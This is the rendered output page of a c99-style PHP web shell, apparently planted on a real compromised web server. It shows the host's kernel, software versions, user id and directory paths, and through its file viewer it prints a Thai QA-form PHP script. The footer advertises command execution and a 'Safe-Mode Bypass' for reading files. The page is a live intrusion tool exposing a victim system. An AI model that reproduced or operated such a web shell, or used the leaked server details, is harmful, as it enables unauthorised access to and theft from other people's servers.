Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/Qa_depart/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php session_start(); if (session_is_registered("valid_user")) { $Username = $valid_user; include("../include/FunctionDB.php"); ConnectDB(); $Flag = true; $Stand_code = htmlspecialchars(trim($_POST[Stand_code])); $Indicate = htmlspecialchars(trim($_POST[Indicate])); $Source = htmlspecialchars(trim($_POST[Source])); $IncFor = htmlspecialchars(trim($_POST[IncFor])); $Awa = htmlspecialchars(trim($_POST[Awa])); $Att = htmlspecialchars(trim($_POST[Att])); $Ach1 = htmlspecialchars(trim($_POST[Ach1])); $Ach2 = htmlspecialchars(trim($_POST[Ach2])); $Ach3 = htmlspecialchars(trim($_POST[Ach3])); $Ach4 = htmlspecialchars(trim($_POST[Ach4])); $E_awa = htmlspecialchars(trim($_POST[E_awa])); $E_att = htmlspecialchars(trim($_POST[E_att])); $E_ach1 = htmlspecialchars(trim($_POST[E_ach1])); $E_ach2 = htmlspecialchars(trim($_POST[E_ach2])); /////////////////////////////////// /* $sql = "Select * From qa_pi_cri_tb Where Stand_code='$Stand_code' AND Ind_code='$Ind_code'"; $result = mysql_query($sql) or die("Error".mysql_error()); $check = mysql_num_rows($result); if ($check > 0) { $msg .="<li>ตัวบ่งชี้ ซ้ำ"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } */ ///////////////////// check name if ($Stand_code =="") { $msg .="<li>กรุณากรอก มาตรฐานที่"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } ///////// check period time long or short if ($Indicate =="") { $msg .="<li>กรุณากรอก ตัวบ่งชี้"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } ///////// check period time long or short if ($Source =="") { $msg .="<li>กรุณากรอก ที่มา"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } /////////////////// Check Branch if ($IncFor =="") { $msg .="<li>กรุณากรอก ข้อมูลเพื่อชี้วัด"; $button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">"; $Flag = false; } /////////////////////// Check Address if( $Flag) { InsertPi_Cri($Stand_code,$Ind_code,$qaId,$Trem,$codeId,$Indicate,$Source,$IncFor,$Awa,$Att,$Ach1,$Ach2,$Ach3,$Ach4,$E_awa,$E_att,$E_ach1,$E_ach2,$P11,$S11,$T11,$P1,$P2,$P3,$PTotal,$S1,$S2,$S3,$STotal,$T1,$T2,$T3,$TTotal); $msg.="<li>ระบบจัดเก็บข้อมูลเรียบร้อยแล้ว"; echo"<meta http-equiv=\"refresh\" content=\"2;URL=Pi_List.php?Stand_code=$Stand_code&codeId=$codeId\">\n"; } CloseDB(); ?> <html> <head> <title>Inserting History Training</title> <link rel="stylesheet" href="../css/style1.css" type="text/css"> <meta http-equiv="Content-Type" content="text/html; charset=windows-874"> <link href="../css/style1.css" rel="stylesheet" type="text/css"> </head> <body bgcolor="#F2FCED" leftmargin="0" topmargin="0"marginwidth="0"marginheight="0"> <form> <br> <table width="68%" border="0" cellspacing="0"cellpadding="2"align="center"> <tr> <td><div align="center"><span><b><font color="#000000" size="3" face="Tahoma">::ฟอร์มการเพิ่มข้อมูล PI-CRI::</font></b></span></div></td> </tr> <tr> <td> <table width="74%" border="0" cellspacing="1"cellpadding="2"align="center"bordercolor="#0B62D9" class="table"> <tr> <td bgcolor="#006633"> <div align="center"><b><font color="#CCFF00" size="3" face="Tahoma">ระบบแจ้งการทำงาน</font></b></div></td> </tr> <tr> <td bgcolor="#000000"> <table width="90%" border="0" cellspacing="0"cellpadding="2"align="center"> <tr> <td><font color="#FF0000"><strong><font size="3" face="Tahoma"><span><?php echo $msg;?></span></font></strong></font></td> </tr> </table></td> </tr> <tr> <td bgcolor="#006633"> <div align="center"><b><font color="#CCFF00"><?php echo $button;?></font></b></div></td> </tr> </table> </td> </tr> </table> <br> <br> </form> </body> </html> <?php } else { echo"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n"; echo"Please Login "; } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]-- |